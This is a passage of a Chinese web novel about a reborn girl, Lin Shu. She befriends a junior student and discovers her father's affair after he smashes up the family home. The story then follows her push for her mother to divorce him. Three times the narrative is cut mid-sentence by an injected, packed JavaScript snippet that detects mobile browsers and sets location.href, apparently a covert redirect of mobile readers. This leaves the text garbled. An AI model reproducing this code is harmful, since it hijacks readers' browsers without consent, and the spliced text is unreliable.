但她今天不是来听这个的。 她双手环抱胸前,闭上眼睛,世界上只剩她和陈彦森两人。 每一个音符跳跃着,有秩序地钻进她的耳朵。她仔细听着,不愿错过每一个细节。 直到掌声再次响起,她才缓缓地、不舍地睁开眼睛。泪眼婆娑下,她静静看着台上的人。 “你是不是有个音弹错了,每次到那都错了。” “你听出来了!” “我倒也不至于音痴到这个程度。” “如果哪天我们走散了,再见面时认不出对方了。”他的表情很认真,不似在说笑,“你要记住,弹错这个音的,就是我。” “什么意思?” “这个错音,”他弹了一个音,“就是我们相认的符号。” 这一个月来,支撑着她走过的是关于错音的念想。 但是刚刚她听得很仔细,很仔细,没有错音,眼前的陈彦森不是那个满心满眼都是她的陈彦森。 她的梦该醒了。 她独身一人站在偌大的空地里,只有风穿过她的身体。 什么都记得的人才是最孤独的。 48. 第五世(十一) 时间在刷刷的笔声中流淌而过,文理分科,林舒选择文科,陈彦森选择理科,一人在一楼,一人在四楼,如果不刻意制造相遇机会,他们可以一个学期都碰不上。 她还记得自己的任务,高中阶段能做的主要是:一要努力学习争取考南苑大学,这样她才能再跟李洛诗成为朋友;二是要好好积德,给身边人提供力所能及的帮助,空闲时间到各班垃圾桶收集空瓶子,攒起来给西沙村的一个独居老婆婆。 久而久之,大家有空瓶子都会自觉留下来给她,她也乐在其中。 虽然离开高中很久了,但是现在遇到的事情大多数都是第一世发生过的,有时候一句话、一个动作、一个欢呼声,都会勾起她第一世的记忆,产生恍若昨日的感觉,似乎再向前走,就会遇到第一世的自己。 这天,课间休息时,余热捧着一堆东西进来,“哗啦”一声放到桌面上,大声说:“同学们,我们马上要小高考了,这是初一(3)班的师弟师妹们准备的心意,有的是信,有的是零食。我现在念学号,叫到的上来领。1号……” 这是南苑中学的传统。高二年级参加小高考前,初中部的师弟师妹们会自发喊楼为他们加油,并送祝福给对应班级以及学号的师兄师姐们,有的是一封鼓励信,有的是零食,有的是小玩意。 “29号……下一个,林舒。” “怎么,到我就不是学号,是全名了?”林舒接过余热递给她的信封。 “只有全名能体现我对你的爱。”余热单眼一眨,林舒捂着胸口向后倒,一副被电到的样子。 余热笑着拍拍她的屁股:“快拆开看看,这一看就用心了。” 确实是用心了。粉色的信封,封面用渐变色的彩笔端端正正写着:高二(3)班30号收。翻过来,信封封口处贴着一张贴纸,上方的空白处写着一行小字:“只能本人打开哦~” 肯定是一个细心可爱的小师妹。 林舒用尺子小心挑开贴纸,保留了贴纸和信封的原样,取出里面的信。信纸自带香气,上面工整地写着: 高二(3)班30号师兄/师姐: 您好,我是初一(3)班30号季西宁。 一个月后你就要参加小高考了,现在复习任务一定很紧张吧!不过,认真学习的同时也不要忘了照顾好自己的身体哦,要吃好喝好休息好,学习效率自然就提高了! 最后,祝你考取3A!3A! 此致 敬礼 这个“此致敬礼”一出来,林舒都忍不住笑出来,她初中时也爱这么写。 她小心折好信纸,塞回信封里,去小卖部买了一盒巧克力,去初中部回礼。 “同学,麻烦叫你们班的季西宁出来一下。” 短发小妹妹好奇地看看她,又看看她手中的巧克力,回头扯着嗓子大喊:“西宁!有个漂亮姐姐找你!” 哎哟,现在的小孩子,这么会说话的吗? 林舒听着心里美滋滋的,抬头看到一个女孩子朝她走来。 林舒在见到她第一眼就认出,原因很简单,她实在太漂亮了。 她很少会用“漂亮”来形容一个只有12岁的孩子。 少女梳着双麻花辫,容貌秀丽之极,脸蛋圆润,双目清亮,眉弯鼻挺,笑起时右颊上有一个浅浅的梨涡,眉目间有一股清丽的书卷气。 她的气质太不一般,只是往那一站,便让林舒记起。 “谢谢你的信,师姐读完了,心里很甜。所以,”林舒将巧克力递给季西宁,“我将这份甜传给你。” 季西宁没好意思伸手去接,“这,这不太好。我写信不是为了让师姐你回礼。” “我知道,我就是想送你。”林舒再往前一递,示意她接过。 季西宁不好意思再推脱,接过:“谢谢师姐。” 预备铃在这时响起,林舒挥了挥手:“我走啦,拜拜。” 说完,她大步朝外走。 “师姐!”仍站在教室门口的小女孩喊住她,“你叫什么名字?” “林舒。” “林舒师姐,很高兴认识你。” 走回高中部的路上,林舒总觉得她有什么东西是她遗忘了,但她不断回忆,越是潜入深处越是找不到。 直到几天后的体育课下课,她去小卖部买饮料,看见上次去回礼的时候遇到的短发小妹妹,她也在买饮料。 突然,她身子一僵,定在原地,一个早已淡忘的记忆猛然涌入。 她想起来,第一世她当天买了巧克力作为回礼送给季西宁,这一来二去两人变得熟络。小高考结束后,她再去初中部找季西宁,短发小妹妹却告诉她:“西宁已经转学了。” “这么突然?”林舒很惊讶,这前后才一个月时间。 “听说是家里出事突然转学的,但具体是什么情况,我也不清楚。”她说。 小孩子爱凑热闹,见到面生的人来班上,就都凑过来,一人一句说什么都有,但提取不到有用信息。 不只是这里……她还在其他地方获取到关于季西宁的信息的…… 她闭上眼睛,大脑飞速运转,一帧帧画面飞速闪过。 是这里了,她点开面前的这幅画面。 画面中的季西宁成为一名记者,在2024年索哈纳奥运会中报道各项赛事。她专业,光彩夺目,但眉眼间少了年少时的自信和底气。 她一定是遇到了什么变故。 这几天,林舒一直觉得自己遗忘了什么,应该记起点什么,原来是这段记忆。 她立刻问短发小妹妹:“小妹妹,还记得我吗?” “记得,你是送西宁巧克力的漂亮姐姐。” “是我,现在季西宁还在班上吗?” “在呀。” “谢谢。” 顾不上买饮料,林舒飞奔去初中部。 “西宁!”她站在教室门口,气喘吁吁。 季西宁正在黑板布置作业,见林舒急切的样子,连忙走出来:“林舒师姐,你找我?” 季西宁还在,幸好还在,她赶上了。 “西宁,”林舒抓着她的肩膀,直视她的眼睛,眼神坚定有力,“没有熬不过去的坎,都会过去的。” 她不知道眼前这个半大的孩子未来将会经历什么,她也不知道自己能为她做什么。 这次她这么做,不是为了积德,只是希望日后艰难的时候,她的这句话能给她带来一丝丝力量吧。 …… 林舒离开初中部,经过校门,门卫喊住她:“林舒,你妈妈来找你。” 因为去年冬至张级长不给请假,要求一定要留校小测。林舒带头领着一帮同学去办公室大战三百个回合,从“冬大过年,一家人就要整整齐齐”到“无休止的小测是否有其必要”,最终张级长败下阵来,林舒等人雄赳赳气昂昂地将假条交给门卫,昂首离校。 因此,门卫记住了她。 “谢谢钟叔。”林舒道谢后,匆匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096117|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出校门。 丁敏站在门口的大树下,手里提着一个袋子,见林舒出来,眼睛立刻弯起:“宝宝,这里。” “妈咪!”一见到丁敏,林舒立刻化身小嗲精。 丁敏将手中的袋子递给她:“你拿进去吃吧,吃完拿出来给我带回家洗。” 学校是不给外人进的,多数家长都是开车接孩子出去改善伙食,或者让孩子坐车里吃住家饭。 这个时候,林舒家里还没有车,校门外也没有可以椅子,所以丁敏让她回教室吃。 林舒接过袋子,一屁股坐在树下:“我不,我要在这里跟你聊天。” “你这孩子,地上脏,教室有空调有椅子,坐着舒服多了。”她嗔怪,跟着林舒坐下。 林舒从袋子里掏出一个保温饭桶,拧开盖子,饭菜香味扑面而来。她问:“怎么你过来也不提前跟我说一声呀?” 丁敏:“上周你留校没回家,我今天刚好有空,带点汤水给你补充营养。” 林舒问:“爷爷的腰疼好了?” 爷爷最近腰病犯了,丁敏每天都要带他去医院做理疗。 丁敏:“说是感觉好点,今天就去公园耍太极去了。” 林舒心疼道:“你这白天带爷爷去医院,晚上回家做家务,做饭给老爸吃的,家头细务一人全包,好不容易终于有休息时间,你就让自己也松口气嘛。” 丁敏笑笑:“我没事,不累。让我的宝贝喝上老火靓汤更重要。” 林舒捧着餐盒,仰头喝下一大口,发出“吧嗒”一声:“超级好喝!喝一口就觉得舒筋活络,精神爽利。” “就你夸张。” 丁敏看着林舒大口吃饭,逐渐从见面的喜悦变成心疼:“怎么瘦了?最近学习压力很大吗?” “哪有哦。” “真的,你的脸都小了一圈。”丁敏眼圈一红。 天下的母亲大概都是这样吧,永远担心孩子吃不饱、穿不暖。即使捧出了一整颗心,仍觉得不够,还想要再多点,再多点,最好将她整个包裹住,永远护她周全。 无论哪一世,林舒跟妈妈的关系都很好。有时候她都觉得这不是妈妈,这是上天送给她一个最好的朋友。 一个无话不谈、互相信任、永远不会决裂、一生一世的好朋友。 丁敏又说:“要不妈妈过来租房子陪你吧,让妈妈好好照顾你。” 第一世高三的时候,丁敏过来这边租了一年房子,照顾她的饮食起居,饭菜永远是热的,水杯里永远有温水,衣柜里永远干净的校服,让她可以只关注读书这一件事情。 可也是这一年,她看着丁敏像个陀螺一样在三个地方不停奔波,趁着林舒上学,她要回去市区照顾爷爷,要回家做家务、买好新鲜的菜放在家里,好让林不帆可以下班煮饭。三人都活得舒服自在,苦的只有家中的女人。 这一世,她不想再看到妈妈这么辛苦。 “不了,”林舒摇头,“我住宿舍挺好的。” 丁敏也不坚持,说道:“那等高三,等高三我们再考虑。” 吃完妈妈牌爱心餐后,林舒心里一直惦记着家里,知道丁敏一定很想她,没有提前告诉爸妈她这周会回来,打算给家里一个惊喜。 周六上午,测验结束后,她回到家里。 推开门,随着哗啦啦声响,她一脚踩中玻璃。 后来,她回想起季西宁和这满地的玻璃碎片,才后知后觉自己无意间触发了第一世未完成的任务。 49. 第五世(十二) 无论身处哪一世,林舒的双眼都只看得见别人。 她想到要去救喜欢的人、最好的朋友,甚至是萍水相逢的陌生人,却从未想过家人是不是也需要她。 家里不大,两房一厅,推开门就能将家里的情况大致看完——玄关处是打碎了的花瓶,玻璃碎片洒了一地,鲜花被踩得扁平;客厅更是一片狼藉,饭桌和椅子倾倒在地上,碗碟、茶壶、杯子碎得看不出原样,饭菜洒满一地,地砖油腻腻的,反射着令人头皮发麻的光泽。 玻璃碎片扎进她的脚底,鲜血渗出,但她并没有感觉到疼痛,抬脚继续往前走,着急大喊:“妈!” 丁敏从厨房小跑出来,一开始是错愕,接着目光下移看到地板上的血,立马慌了神:“怎么流血了?是不是踩到玻璃了?来,妈妈带你去医院。” 丁敏跑出来那一刻,林舒便看到她通红的双眼与未干的泪痕,伸手拦住想要去叫车的她:“发生什么事了?” 丁敏低着头,嘴里念叨着她的伤口:“踩到玻璃可不是小事,我得马上带你去医院。” “妈,妈,你看着我。”林舒抓着丁敏的肩膀,迫使她直视自己的眼睛,“第一,我没事,不去医院;第二,你告诉我,到底发生什么事了?” 丁敏抿嘴不作声。 林舒松开她,径自走到主卧,林不帆不在家。她又走去厨房,看到电饭煲的盖子与锅体分离,很明显是被人摔坏的。刚刚丁敏在厨房里应该就是想看看还能不能用。 不知怎的,她看着面前一片狼藉,突然就想起上一世大学毕业典礼那天,丁敏和林不帆的脸色都不好看,两人没有任何互动交流,与对方保持一定距离。当时她察觉后,还让他们先回家。 看来,她上一世原本是有机会发现两人的矛盾的,但是她当时忽略了,没有深究下去。 她走回客厅,拉着丁敏的手坐下,克制愤怒的情绪,尽可能冷静地问:“是爸爸吗?” 丁敏看着她的眼睛,泪水再次漫上眼眶。 她哽咽着,艰难复述半小时前发生的事情。 其实夫妻吵架的原因不外乎都是那几个,钱,情,家庭琐事。 很不幸,这三个他们都占了。 起因是林不帆从上个月开始没有上交工资,丁敏念他工作辛苦,一开始也没催。直到这个月,他只给了2000元,与之前全部上交的金额差别太大,丁敏不禁起了疑心。 她先去林不帆同事的老婆那探口风,得知公司正常发工资,接下来的几天依旧不动声色。 终于,趁他去洗手间,她有机会打开他的手机,看到了不堪入目的聊天记录。 林舒手心出汗,胸口剧烈起伏着,强行冷静问道:“是□□,还是包二奶?” 都是出轨,这两者有差别吗? 对于一段婚姻来说,都是不忠,都是背叛,并没有实质性差别。 但林舒还是想问清楚,像是想要抓住一根并不存在的稻草。 “他在外面有人了。” “具体维持了多久不知道,但我感觉已经超过了半年。” “那挺好笑的,”林舒的视线落在地上的狼藉,“他做错事,还敢砸东西?” 丁敏不语,双手搭在大腿上,紧紧地揉搓着,看起来十分无措。 她没有做错什么,现在却像个做错事的小孩。 结婚后,她被要求辞去工作,专心做家庭主妇,当时那男人说得好听:“我负责赚钱,你就负责把家里打理好。” 她信了,也认同把日子过好需得一人出一份力,因此主动包揽起家中一切大小事务。 在家务上,小到水龙头坏了自己动手修,水费电费缴纳,大到买菜做饭洗碗洗衣服,扫地拖地洗衣服洗被子; 在孩子身上,孩子生病去医院,接送孩子上学放学,辅导孩子写作业,去开家长会,关心青春期孩子身心发展; 在赡养父母上,尽心尽力照顾年迈的公公。除了定期陪腰上有旧疾的公公去医院理疗,她还时常抽空去给他添置生活用品、买蔬菜水果塞满冰箱。 无论是作为妻子、母亲还是儿媳妇,她都做到了一百分。 她的目光永远落在家人身上,独独忽视了自己。 曾经聪明伶俐的小姑娘囿于几十平的屋子里,头顶是挥之不去的油烟,手边是堆积如山的脏衣服,青春和秀丽的容颜逝去,取而代之的是爬满皱纹的脸和干燥的双手。 她觉得一切值得。 家人开心、舒适,她便也会跟着笑。 丈夫虽然不懂浪漫,也不怎么管事,但是他辛勤工作,一心一意为着这个家早出晚归; 女儿虽然顽皮,性子烈,有时会跟学校里的小混混打架,但是她善良懂事,成绩优异,身体也好,让她少操心; 至于公公,毕竟不是自己的亲生父亲,要求不能太高。只要他身体健康、不要过分偏心其他兄弟,大家就都能维持表面平和。 这个家在她的努力经营下,看起来美满和谐,她一直以为自己很幸福,直到看到那些信息: “你好香啊。” “我想你了。” 她坐在沙发上,只觉得耳边响起轰隆隆的声音,四面墙壁在一瞬间崩塌,粉尘扑面而来。她还没来得及抬手去挡,就感觉身子在疯狂下坠,往无底深渊永远坠落下去。 她以为自己会挣扎。然而,她张开双臂,感受着风从她身上穿过,竟是意料之外的,如释重负的轻松。 不是一直想知道他为什么突然设置了手机密码吗? 不是一直想知道他为什么都不愿意多看她一眼吗? 不是一直想知道他的钱去哪了吗? 现在知道了。 …… 林舒看着麻木的丁敏,心都碎了。 她没有回家的第一世,妈妈的午饭被打翻在地上,她一边哭一边饿着肚子默默打扫了卫生,接着戴上面具,在她面前演了十年。 她骨子里的那份洒脱,以及无论遭遇多少挫折都保有的难得的天真感,是妈妈的爱给了她勇气和底气,让她知道自己值得被爱,也有人爱着她。 她简单清理了脚底的伤口,然后起身拿出一个垃圾袋,没有戴手套,捧起地上的饭菜砸进袋子里,每一下都发出“哒”的一声响。 丁敏见林舒在收拾,用手背擦了擦泪,跟过来,“你放着,让妈妈来收拾就行。” “不用,你就坐着。” 丁敏不听,蹲下要去捡地上的瓷碗碎片,却被旁侧伸来的一只手挡住,抬头对上的是一张没有表情的脸:“你去坐着,我来。” 她愣住,手僵在半空。 林舒说完,继续手上的动作。她的手掌就这么抓过饭菜,油油腻腻的,很不舒服,但她并没有理会,将瓷碗碎片一一捡起后,又拿起扫把清扫玄关处的玻璃碎片。 看着地板反射着油腻的光泽,她用肥皂水洗了两遍,又用清水洗了两遍,这才拿着刚刚收拾的垃圾和被砸坏的电饭煲下楼扔掉,到附近的小超市买了一个新的电饭煲。 丁敏叠好衣服走出房间,听到厨房传出声响音,心中生疑,第一反应是家里进贼了,走过去发现竟是十指不沾阳春水的女儿正在切芹菜。 她刀法生疏,左手五指尽力曲着,无力地搭在芹菜上,右手紧紧握着菜刀,找准位置才切下去,每一刀都非常用力,像是跟砧板有仇。 在原来放电饭煲的位置,现在摆着一个崭新的粉色电饭煲,此时正咕噜咕噜作响,冒着水蒸气。 “我来吧。”丁敏开口,声音很轻。 “不用,”林舒回头,挤出一个笑容,“你去坐着休息下,我很快就做好了。” 她今天说了好几次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101010|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “坐着”。 丁敏:“你还要做作业,今天就让我来做饭吧。等寒暑假有空了,你再做饭给妈妈吃。” 林舒坚持:“我来。” 大家心情不佳,这句之后,便没人再说话。林舒切完芹菜开始切鱿鱼,丁敏则继续靠在门边静静看着。 热锅起油放入姜片和蒜末,倒入鱿鱼翻炒,接着倒入酱油继续翻炒。翻炒一阵子就倒入芹菜继续翻炒。 手法并不娴熟,有时候会忙乱,但步骤很清晰。 做好芹菜炒鱿鱼后,林舒又做了一个鸡蛋炒脆皮肠。新手炒鸡蛋容易炒焦,但她的火候掌握得刚刚好,动作又快,炒出来的鸡蛋呈嫩黄色,十分娇嫩。 很明显,这道菜她做起来更得心应手。 丁敏讶异于林舒的表现,一边盛饭一边说:“什么时候背着我学炒菜了?” 她记忆中林舒的“厨艺”,是能煎出一片焦黑的荷包蛋的水平。 林舒当然不能说是因为上一世支教的时候学会的。当时她带了两袋脆皮肠去支教,每次做饭的时候都会就着跟鸡蛋一起炒,孩子们都爱吃。两个月掌勺下来,肌肉记忆已形成,一拿起锅铲就自动会做了。 “看视频学的。”她打哈哈糊弄过去。 两人面对面坐着,相对无言,屋子里只有咀嚼的声音。 吃完饭,丁敏起身准备收拾碗筷的时候,林舒突然开口:“妈妈,离婚吧。” 丁敏重新坐回椅子上,过了半晌,才说:“看到那些聊天记录的时候,我全身冰冷,脑子里只有一个念头:我一定要离婚,我再也没办法跟这个人一起生活。” “但是,”她看着林舒,“你推门进来的时候,我反悔了。” “为什么?” 孩子似乎永远是中年夫妻无法离婚的原因,林舒想不明白。 为什么呢?丁敏也在问自己。 当她气得身子直发抖,握着手机看着从洗手间出来的林不帆时,她想的是要离婚,现在就去离婚,一刻也呆不下去,永远不想再见到这个人。 她也确实是这么说出口了。 “林不帆,我们离婚!” 但她没有想到,人是可以无耻到这个程度的。对方说:“把房子卖了,把钱分了,我就跟你离婚。” 她瞪大了双眼,难以置信:“你是过错方,你还要跟我分房子?” 林不帆面不改色说道:“这十七年来,我几乎全年无休,每天勤勤恳恳工作,家里的每一片瓦,每一口饭,每一块钱,都是我挣回来的。你每天舒舒服服呆在家里,就买个菜做个饭,你付出了什么?” “你除了会赚几个钱,还为这个家做了什么?你有什么资格和立场说这些话?”丁敏声嘶力竭地吼道,“你爸爸是谁在照顾?林舒从小到大的家长会你有去过吗?她现在的班主任叫什么名字你知道吗?你每天回家,桌上有热饭菜,衣柜里有干净的衣服,难道这些都是魔术变出来的吗?” 门锁坏了是不会自我修复的,床单被子是不会每个月自洁一次的,餐桌上是不会无故变出热气腾腾的饭菜的,洗衣机里的衣服是不会长在晒衣杆上的,用完的牙膏是不会自己跳进垃圾桶里的。 这个世界从来没有理所应当的事情。在普通的家庭里,有人舒服了,那便一定是有人在背负着原本不属于自己的责任在前行。 她选择不计较,默默付出,是为了爱的人能够更好地生活,而不是她活该过这样的日子。 “林不帆,你扪心自问,即使没有这档子事,难道你就觉得自己做得对吗?你每天回家就是吃个饭,然后洗澡睡觉,对这个家不闻不问,家里哪里坏了是不知道的,纸巾放在哪里也是不知道的。每天就固定走那几块地砖,稍微偏一点的地砖缺了一角你也不会知道。” “你不觉得,你像是回酒店,而不是回家吗?” 50. 第五世(十三) 在林舒心目中,林不帆是一个怎样的爸爸呢? 他握着她的手,一笔一划教她学写自己的名字:林舒; 有时候工作经过家附近,他会提前给家里打个电话。林舒接完电话,蹦蹦跳跳跑到窗边,朝着从楼下经过的他打招呼,用稚嫩的声音喊:“爸爸!” 冬天想吃反季水果,她哭闹一定要吃到。他会跑遍全区的水果店,愣是给她买回来; 他的裤兜似是哆啦A梦口袋,经常变出不一样的东西,有时候是糖果,麻花,有时候则是小女孩喜欢的小玩偶。有一次,他下班回来,神神秘秘地拆开纸巾,里面包着一块炸鸡。那个年代普通家庭并不能常常吃麦当劳肯德基,他们都没有吃过这种炸鸡,同事请吃,他用纸巾包起一块带回家; 即便她长到27岁,热衷于抢奶茶店的联名徽章,他也不扫兴,吭哧吭哧蹬着自行车,到店里帮她选到最喜欢的款式。 他呵护她,珍视她,在自己能力范围内将一切最好的给到她。 因为不缺父爱,所以她在感情中自尊自爱,利落舍弃十二年的感情,爱得起放得下; 因为不缺父爱,知道自己被好好爱着,所以她遇到艰难时刻不会感到害怕和自卑,永远一头热血往前冲。 她被爱着,所以也心疼着每日早出晚归、几乎全年午休的他。他是空调安装工,高危工种,时不时都有安装工高空坠落的新闻。在家的时候,她会在他出门前提醒他注意安全、做好安全措施,晚上也习惯等他回家再睡觉。 钥匙扭动门锁,是世界上最让人安心的声音。 林舒不知道该怎么描述这种心情。她宁愿他自私自利、尖酸刻薄、高傲自大,集齐品行不端之人所有的缺点,那她可以挺直腰板恨他。 可他偏偏,很爱她。 但无论如何,她无法忽视他对妈妈和这个家的背叛。 “妈妈,离婚吧。”林舒说,“我跟你。” 丁敏摇头:“如果离婚,真按他说的把房子卖掉,你放学回家就没有落脚处了。” 林舒:“我们分有一半的钱,可以租房子住。” “现在房价在涨,等我们拿着那一半的钱花上几年,就再也没可能买到房子了,你要一直跟着我租房子。” “不就是房子吗?一个住的地方而已,买的还是租的有什么区别吗?” “你是女孩,未来结婚如果娘家没有任何可以给你撑场面的东西,你是没有底气的。起码,万一跟老公吵架了,你也有一个去处。”丁敏叹了口气,“你现在还小,我跟你说这些,你也不懂。” 如果是17岁的林舒当然不懂,但她是27岁的林舒。 “我明白您的苦心。但是,”林舒吸了一口气,“我不打算结婚。” 她想嫁的人,想要平淡度过一生的人,不在这里。 但是丁敏今天非常疲倦,没有心力与她争执这些,端起碗筷走去厨房。 厨房里传来哗啦啦流水声,却冲不散林舒乱成一团麻的心绪。 洗完澡后,林舒对丁敏说:“今晚跟我睡吧。” 丁敏爱怜地摸了摸她的脑袋,“好。” 林舒去主卧取回丁敏的枕头,接着把客厅的灯关了,转身打算回房间时,门外传来钥匙扭动门锁的声音。 声音在寂静的夜里显得突兀刺耳,再也不是令人心安的声音。 门开了,林不帆走进来。 淡淡的月光洒进没有开灯的客厅,林不帆只看得见林舒模糊的轮廓,看不清表情。但这也没关系,此时的林舒没有任何表情,只淡淡地朝他的方向看了一眼,转身回房间。 …… 第二天,林舒睁开眼,直直对上丁敏的眼睛。 不知道丁敏醒来多久,也不知道丁敏就这么静静看着她多久。 阳光透过窗帘的缝隙钻进来,黑溜溜的眼珠子定定看着她。 那是怎样的眼神呢?心疼、自责、难过……满眼都是她,所有的情绪都是为她。 都到这个时候了,她想到的不是自己,而是林舒。 林舒感慨万分,脑袋往她怀里噌了噌,娇娇地唤了声:“妈~” 丁敏见林舒醒了,伸手抱着她,亲了亲她的额头,温柔地说道:“我的宝宝,你醒啦。” 林舒缩在妈妈温暖的怀里,此刻很美好,但接下来说的话有点煞风景,但她不得不说:“妈妈,离婚吧,我们两个也能过好生活的。” 丁敏摆弄着她额前的头发,说道:“以前你是最怕爸爸妈妈吵架,担心爸爸妈妈分开。” 小学三年级时,林不帆和丁敏爆发过一次争吵,那是林舒记忆中他们最激烈的、也是唯一一次在她面前发生的争吵。 她听到“离婚”的字眼,躲在上了锁的卧室里,蹲在地上紧紧抱着自己,眼泪一直流却不敢发出呜咽声音。 当时她的同桌爸爸妈妈离婚了,她在作文里写道:“我没有家了,我只剩下那盏台灯。” 台灯原本放在爸爸妈妈卧室的床头,离婚后没人留念这个家里的任何东西,她便偷偷拿到自己房间里。 “后来,爸爸有了阿冬娜阿姨,生的妹妹叫乐心,多好听的名字呀,比我名字好听多了,寄托了她的爸爸妈妈对她的祝福;妈妈有尼克叔叔,生了弟弟。他们各自有了完整的家庭,而我只剩下台灯。” 那段时间,林舒不再如往日般活泼,变得安静内敛,说话做事小心翼翼甚至有点畏缩,她担心因为自己不乖会被抛下,她不想变成失去爸爸妈妈,不想最后只能抱着台灯怀念。 她会偷偷把爸爸妈妈手写字的纸装在盒子里,想着日后若是再见不到其中一方,那也可以睹字思人。 小孩子都会担心被抛下,但她如今已不是小孩子了,她更希望妈妈不要受委屈。 她看着丁敏的眼睛,一字一句地说:“我现在不怕了,因为我已经长大了。” “妈妈,让我陪你一起面对吧。” 说完这句话后的林舒翻身下床,直冲主卧,却发现房间内没有人。她又去了洗手间、厨房,屋子就几十平方,几步就能走完,哪里还有林不帆的踪影呢? 她不死心,抄起电话打给他,收获的是一阵忙音。 呵,捅出篓子的罪魁祸首现在在逃避?她冷笑一声,啪地挂上电话。 “我哪都不去,我就在家里等他回来。”林舒对闻声而来的丁敏说。 丁敏:“你吃个早餐也差不多要回学校了,大人的事情你就别管这么多,我们自己能处理好的。” “事情一日没解决,我是不会回学校的。”林舒拿起书包,底朝上甩了几下,卷子和书包啪嗒摔在餐桌上,“我就这等他回来。” “林舒,别任性……” “我不是在耍孩子气,我现在很认真。”林舒抬起头,严肃地说,“如果你们是为家庭琐事吵架那就算了,现在是出轨,是原则性问题,你当真要为了这套破房子把自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109427|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一生都困在这吗?” 丁敏被震慑住,动了动唇,没说出话来。 她知道这孩子打小独立有个性,性子烈不肯吃亏,但在她心目中,17岁孩子的世界里只有学习、玩耍、友情和对异性的萌动,不该是这样的。 她好像,并没有想象中那样了解自己的孩子。 “你狠不下心,那我替你做主。”说完,林舒低下头开始写作业。 高二专攻文科,对于林舒来说比高一轻松多了,她很快写完作业,天还没黑,便开始背书。 她不知道自己是什么时候睡着的,惊醒的时候客厅里一片漆黑,她手里还抱着政治书。 是钥匙扭动门锁的声音将她吵醒的。 等了一天的人终于回来了。 林不帆打开灯,一眼看到已经进入战斗状态中的林舒,她脸色铁青,一言不发地看着自己。 他先发制人:“今天不是周日吗?你怎么在家里?不用晚自习?” “你连自己都管不住,还想来管我?”林舒一摔政治书,站起身,“你今天为什么不在家?为什么不接电话?是心虚吗?” 你抛三个问题,我便抛四个问题,以其人之道还治其人之身,很合理。 “怎么跟爸爸说话的?”林不帆用身份压她。 林舒冷笑:“你现在知道自己是爸爸了,出轨的时候是忘了吗?” 她现在像一只浑身长满刺的刺猬,攻击性超强,句句击中要害。 林不帆愕然:“你这是什么意思?” “很简单,”她看了一眼听到声响后跑来客厅的丁敏,又看向林不帆,“离婚。” 这两个字从来都是很有分量的,这代表着一个家庭从此分崩离析,代表着曾经的美好和温馨永远成为回忆。 “你就那么想我和你妈离婚吗?”林不帆问。 “哈哈哈哈哈哈……”林舒突然仰头狂笑,太可笑了,真的是太可笑了。 她不屑地勾起嘴角:“是谁摧毁这个家的?是你!” “我摧毁这个家?你现在连学校都不回,你才是在摧毁这个家!”林不帆巧妙转移话题,将话往林舒身上引,“我每天这么辛苦去工作,为的是谁?这个家每个人都是为了你,你居然不回学校,你看看你现在像什么样子!” “你少往我身上扯!”林舒忍无可忍,提高音量,“现在在说你出轨这件事!” 这是林舒跟爸爸第一次吵架,却激烈非常,吵到激动处,她指着阳台,带着哭腔大吼:“你那么喜欢砸东西,为什么不把我扔下楼呢?” 此时是深夜十二点,两人激烈的争吵声惊动到休息的邻居们。最后,以保安上门劝架、林不帆摔门离家结束了这场闹剧。 屋内重归平静,剩下林舒和丁敏两人无言对望。 丁敏走过来捡起刚刚被林舒扔到地上的政治书,蹲在她面前说:“妈妈会找个机会跟他坐下来好好谈谈,你明天先回去上学,好吗?” 林舒不语,抬起泪眼。 “乖,”丁敏拍拍她的肩膀,“我知道你是心疼妈妈,但是妈妈也心疼你。你现在最重要的事情是要读书,把书读好,将来考一个好大学。” “可我去上学,家里就剩你一个人了。” “妈妈是大人,能够处理好的,你放心。” 一夜无眠。 凌晨五点半,林舒出门上学。走之前她回头看了一眼,第一次觉得这个家是这么陌生。 51. 第五世(十四) 林舒回到教室的时候早读刚开始,她一言不发地坐下,拿出课本。 余热并未发现异样,凑过来说:“周四就是校运会,我还以为你为了躲校运会不回来呢。” 林舒翻着课本,没有说话。 余热这才发觉她的不对劲,摸了摸她的额头,惊讶地啊了一声:“也没发烧呀,你怎么这么没精神。” 林舒轻轻应了一声,还是没说话。 余热了解她的性子,见她不肯说,就没再打扰她。 林舒维持着这样的状态,怏怏地迎来为期两天的校运会。 第一世时她很积极地报了跳高和1500米长跑,这一世她可没那精气神了,没有报任何项目,就负责坐在大本营里写加油稿。 写文案这种基本功是无论重生多少次都不会丢掉的,不到一小时,她就交出十几篇。任务完成后没事干,她瞥见地上的垃圾袋,心念一动,一把捞起,干老本行去了。 捡垃圾。 